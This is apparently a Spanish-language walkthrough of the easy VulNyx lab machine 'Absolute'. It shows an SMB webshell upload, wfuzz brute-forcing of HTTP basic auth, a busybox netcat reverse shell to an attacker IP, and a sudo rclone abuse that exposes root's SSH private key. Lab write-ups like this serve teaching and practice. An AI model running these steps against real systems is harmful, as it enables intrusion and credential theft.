Information

Absolute es una máquina virtual vulnerable Linux de dificultad fácil de la plataforma VulNyx, fue creada por el usuario d4t4s3c y funciona correctamente en los hipervisores VirtualBox y VMware.


Enumeration

Nmap

TCP

 nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.155
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-12 10:27 CEST
Nmap scan report for 192.168.1.155
Host is up (0.00058s latency).
Not shown: 65532 closed tcp ports (reset)
PORT    STATE SERVICE
80/tcp  open  http
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
 nmap -sVC -p80,139,445 192.168.1.155
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-12 10:28 CEST
Nmap scan report for 192.168.1.155
Host is up (0.00070s latency).

PORT    STATE SERVICE     VERSION
80/tcp  open  http        nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Welcome to nginx!
139/tcp open  netbios-ssn Samba smbd 4
445/tcp open  netbios-ssn Samba smbd 4
MAC Address: 08:00:27:FF:18:C2 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2025-07-12T08:28:21
|_  start_date: N/A
|_nbstat: NetBIOS name: ABSOLUTE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

Shell (www-data)

445/TCP (SMB)

Basic Enumeration

 netexec smb 192.168.1.155
SMB   192.168.1.155   445   ABSOLUTE   [*] Unix - Samba (name:ABSOLUTE) (domain:ABSOLUTE) (signing:False) (SMBv1:False)

Shares

List

Encuentro un share llamado web y dispongo de permisos READ,WRITE

 smbclient -NL //192.168.1.155

	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	web             Disk      Website Directory
	IPC$            IPC       IPC Service (Samba 4.17.12-Debian)
Reconnecting with SMB1 for workgroup listing.
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
Protocol negotiation to server 192.168.1.155 (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available

 smbmap -H 192.168.1.155 --no-banner
[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 0 authenticated session(s)                                                      
                                                                                                                             
[+] IP: 192.168.1.155:445	Name: 192.168.1.155       	Status: NULL Session
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	print$                                            	NO ACCESS	Printer Drivers
	web                                               	READ, WRITE	Website Directory
	IPC$                                              	NO ACCESS	IPC Service (Samba 4.17.12-Debian)
[*] Closed 1 connections
Upload WebShell

Utilizo put para subir una webshell PHP, la cual revisaré más adelante al enumerar el puerto 80

 smbclient -N //192.168.1.155/web
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Jul 12 10:32:28 2025
  ..                                  D        0  Fri Jul 11 12:22:06 2025
  index.html                          N      935  Fri Jul 11 12:37:58 2025

		19480400 blocks of size 1024. 16208036 blocks available

smb: \> put cmd.php
putting file cmd.php as \cmd.php (14,6 kb/s) (average 14,6 kb/s)

smb: \> ls
  .                                   D        0  Sat Jul 12 10:43:17 2025
  ..                                  D        0  Fri Jul 11 12:22:06 2025
  index.html                          N      935  Fri Jul 11 12:37:58 2025
  cmd.php                             A       30  Sat Jul 12 10:43:17 2025

		19480400 blocks of size 1024. 16208032 blocks available

Con rpcclient obtengo la ruta absoluta Uploaded-Backup-Files en el share web

 rpcclient -NU "" 192.168.1.155 -c "netshareenum"
netname: web
	remark:	Website Directory
	path:	C:\var\www\html\Uploaded-Backup-Files
	password:

80/TCP (HTTP)

Site (/)

Directory Brute Force
 gobuster dir -w /opt/directory-list-2.3-medium.txt -u http://192.168.1.155/ -x html,txt,php -b 404,403
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.155/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/directory-list-2.3-medium.txt
[+] Negative Status codes:   404,403
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,txt,php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 615]
Progress: 882180 / 882184 (100.00%)
===============================================================
Finished
===============================================================

Site (/Uploaded-Backup-Files)

Auth Basic

En la ruta /Uploaded-Backup-Files encuentro un auth-basic y realizo password guessing sin éxito

Los auth-basic suelen tener información definida por el usuario en el archivo de configuración, esta información en los headers es ignorada por los navegadores modernos por políticas de seguridad ya que en ocasiones se hace leak de información sensible

Con curl consigo ver una cabecera interesante y enumero al usuario m.howard

 curl -I "http://192.168.1.155/Uploaded-Backup-Files/"
HTTP/1.1 401 Unauthorized
Server: nginx/1.22.1
Date: Sat, 12 Jul 2025 09:08:08 GMT
Content-Type: text/html
Content-Length: 179
Connection: keep-alive
WWW-Authenticate: Basic realm="Welcome to m.howard server!"
Password Brute Force

Con wfuzz obtengo el password slideshow del usuario m.howard

 wfuzz -c -w /opt/techyou.txt --basic "m.howard:FUZZ" -u "http://192.168.1.155/Uploaded-Backup-Files/" --hh=179 2>/dev/null
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.1.155/Uploaded-Backup-Files/
Total requests: 10000

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                 
=====================================================================

000000406:   200        45 L     92 W       935 Ch      "slideshow"                                                                                                             

Total time: 4.332492
Processed Requests: 10000
Filtered Requests: 9999
Requests/sec.: 2308.140
Reverse Shell

Ahora con las credenciales obtenidas consigo apuntar a la webshell (cmd.php) previamente subida desde SMB

Consigo ejecutar comandos como usuario www-data

 curl -sX GET "http://192.168.1.155/Uploaded-Backup-Files/cmd.php?cmd=id" -u 'm.howard:slideshow'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Ya ejecutando comandos intento obtener una reverse shell

 echo -n 'busybox nc 192.168.1.5 443 -e /bin/sh' | jq -sRr @uri
busybox%20nc%20192.168.1.5%20443%20-e%20%2Fbin%2Fsh
 echo -n 'busybox nc 192.168.1.5 443 -e /bin/sh' | jq -sRr @uri | xclip -sel clip
 curl -sX GET "http://192.168.1.155/Uploaded-Backup-Files/cmd.php?cmd=busybox%20nc%20192.168.1.5%20443%20-e%20%2Fbin%2Fsh" -u 'm.howard:slideshow'

Obtengo la shell como usuario www-data

 nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.5] from (UNKNOWN) [192.168.1.155] 42476
id ; hostname
uid=33(www-data) gid=33(www-data) groups=33(www-data)
absolute

Privilege Escalation

Enumeration

Sudo

El usuario www-data puede ejecutar como root el binario rclone con sudo

www-data@absolute:~$ sudo -l
Matching Defaults entries for www-data on absolute:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User www-data may run the following commands on absolute:
    (root) NOPASSWD: /usr/bin/rclone

Revisando el help de rclone, veo que existe el parámetro serve que permite levantar servidores de multiples protocolos

serve - Serve a remote over a protocol.

www-data@absolute:~$ rclone serve
Error: serve requires a protocol, e.g. 'rclone serve http remote:'
Usage:
  rclone serve <protocol> [opts] <remote> [flags]
  rclone serve [command]

Available Commands:
  dlna        Serve remote:path over DLNA
  docker      Serve any remote on docker's volume plugin API.
  http        Serve the remote over HTTP.
  restic      Serve the remote for restic's REST API.
  sftp        Serve the remote over SFTP.
  webdav      Serve remote:path over WebDAV.

Abuse

Levanto con rclone un servidor HTTP, apunto a /root/.ssh y obtengo la clave privada (id_rsa) del usuario root

www-data@absolute:~$ sudo -u root /usr/bin/rclone serve http /root/.ssh --addr 0.0.0.0:1234
2025/07/12 11:38:07 NOTICE: Config file "/root/.config/rclone/rclone.conf" not found - using defaults
 curl -sX GET "http://192.168.1.155:1234" | html2text
****** / ******
[                    ]
 Name            Size Modified
 Go up           —    —
 authorized_keys 564  2025-07-11 10:40:42.167980107 +0000 UTC
 id_rsa          2590 2025-07-11 10:40:42.167980107 +0000 UTC
❯ curl -sX GET "http://192.168.1.155:1234/id_rsa" | xclip -sel clip

Me convierto en usuario root con la clave privada (id_rsa) obtenida

www-data@absolute:~$ chmod 600 id_rsa 
www-data@absolute:~$ ssh -i id_rsa root@127.0.0.1
root@absolute:~# id ; hostname
uid=0(root) gid=0(root) grupos=0(root)
absolute

Flags

Ya como usuario root puedo leer las flags user.txt y root.txt

root@absolute:~# find / -name user.txt -o -name root.txt 2>/dev/null |xargs cat
9eed****************************
97d2****************************

Hasta aquí la resolución de la máquina Absolute.

Happy Hacking!